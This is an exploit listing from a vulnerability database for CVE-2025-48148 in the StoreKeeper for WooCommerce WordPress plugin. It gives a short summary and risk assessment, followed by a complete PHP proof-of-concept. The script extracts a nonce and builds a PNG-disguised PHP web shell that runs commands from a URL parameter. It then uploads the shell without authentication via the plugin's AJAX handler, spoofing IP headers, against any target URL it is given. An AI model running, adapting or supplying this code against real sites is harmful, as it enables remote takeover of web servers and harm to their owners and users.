Lucene search
K

📄 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload

🗓️ 06 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 122 Views

Critical vulnerability in StoreKeeper for WooCommerce 14.4.4 allows unauthenticated remote file uploads, enabling PHP web shells.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress StoreKeeper for WooCommerce 14.4.4 Remote Code Execution via File Upload                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/storekeeper-for-woocommerce/                                                                  |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/210872/ & 	CVE-2025-48148 
    
    [+] Summary    : A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise.
    
    [+]  Risk Assessment :
    
    - **Attack Vector**: Network-based, no authentication required
    - **Attack Complexity**: Low
    - **Privileges Required**: None
    - **User Interaction**: None
    
    The vulnerability stems from improper nonce validation and missing authorization checks in the `upload_product_image` AJAX handler.
    
    [+] Usage: 
    
    Usage: php poc.php -u <url> [--debug]
    
    Example: php poc.php -u http://site.com/ [--debug]
    
    [+] POC :
    
    <?php
    
    class NxploitedShellUploader {
        private $logger;
        private $timeout = 10;
        
        public function __construct($debug = false) {
            $this->setupLogger($debug);
        }
        
        private function setupLogger($debug) {
            $this->logger = function($message, $level = 'INFO') {
                $timestamp = date('Y-m-d H:i:s');
                echo "[$timestamp] [$level] $message\n";
            };
        }
        
        private function log($message, $level = 'INFO') {
            call_user_func($this->logger, $message, $level);
        }
        
        public function getNonce($site_url) {
            $headers = [
                "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
                "Accept: */*",
                "Connection: close",
                "Referer: " . $site_url,
                "X-Forwarded-For: 127.0.0.1",
                "X-Originating-IP: 127.0.0.1",
                "X-Remote-IP: 127.0.0.1",
                "X-Remote-Addr: 127.0.0.1"
            ];
            
            $this->log("Requesting site for nonce extraction...");
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $site_url,
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_RETURNTRANSFER => true
            ]);
            
            $response = curl_exec($ch);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                $this->log("Error fetching URL: $error", 'ERROR');
                exit(1);
            }
            
            if (preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches)) {
                $nonce_val = $matches[1];
                $this->log("Nonce extracted: $nonce_val");
                return $nonce_val;
            }
            
            $this->log("Nonce not found!", 'ERROR');
            exit(1);
        }
        
        public function writeShell($filename = "indoushka.php") {
            $shell_content = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>";
            
            if (file_put_contents($filename, $shell_content) !== false) {
                $this->log("Shell file created: $filename");
                return true;
            } else {
                $this->log("Failed to create shell file: $filename", 'ERROR');
                return false;
            }
        }
        
        public function uploadShell($site_url, $nonce, $shell_path) {
            $base = rtrim(explode('/wp-admin/', $site_url)[0], '/');
            $ajax_url = $base . "/wp-admin/admin-ajax.php";
            
            $this->log("Uploading shell to $ajax_url ...");
            
            if (!file_exists($shell_path)) {
                $this->log("Shell file not found: $shell_path", 'ERROR');
                exit(1);
            }
            
            $post_data = [
                'action' => 'upload_product_image',
                'nonce' => $nonce,
                'file' => new CURLFile($shell_path, 'image/png', 'indoushka.php')
            ];
            
            $headers = [
                "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
                "Referer: " . $site_url,
                "X-Requested-With: XMLHttpRequest",
                "Accept: */*",
                "Connection: close",
                "X-Forwarded-For: 127.0.0.1",
                "X-Originating-IP: 127.0.0.1",
                "X-Remote-IP: 127.0.0.1",
                "X-Remote-Addr: 127.0.0.1",
                "Pragma: no-cache",
                "Cache-Control: no-cache"
            ];
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $ajax_url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $post_data,
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_TIMEOUT => 15,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_RETURNTRANSFER => true
            ]);
            
            $response = curl_exec($ch);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                $this->log("Upload failed: $error", 'ERROR');
                exit(1);
            }
            
            $this->log("Upload response:");
            echo $response . "\n";
            
            return $response;
        }
        
        public function execute($url, $debug = false) {
            if ($debug) {
                $this->log("Debug logging enabled", 'DEBUG');
            }
            
            try {
                $nonce = $this->getNonce($url);
                $this->writeShell("indoushka.php");
                $this->uploadShell($url, $nonce, "indoushka.php");
                $this->log("Operation completed.");
            } catch (Exception $e) {
                $this->log("Operation failed: " . $e->getMessage(), 'ERROR');
                exit(1);
            }
        }
    }
    
    if (php_sapi_name() === 'cli') {
        $options = getopt("u:", ["url:", "debug"]);
        
        $url = $options['u'] ?? $options['url'] ?? null;
        $debug = isset($options['debug']);
        
        if (!$url) {
            echo "Usage: php exploit.php -u <url> [--debug]\n";
            echo "Example: php exploit.php -u http://site.com/ [--debug]\n";
            exit(1);
        }
        
        $uploader = new NxploitedShellUploader($debug);
        $uploader->execute($url, $debug);
    } else {
        echo "This script is intended for command line use only.\n";
    }
    
    if (function_exists('curl_version')) {
     
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.110
EPSS0.00057
SSVC
122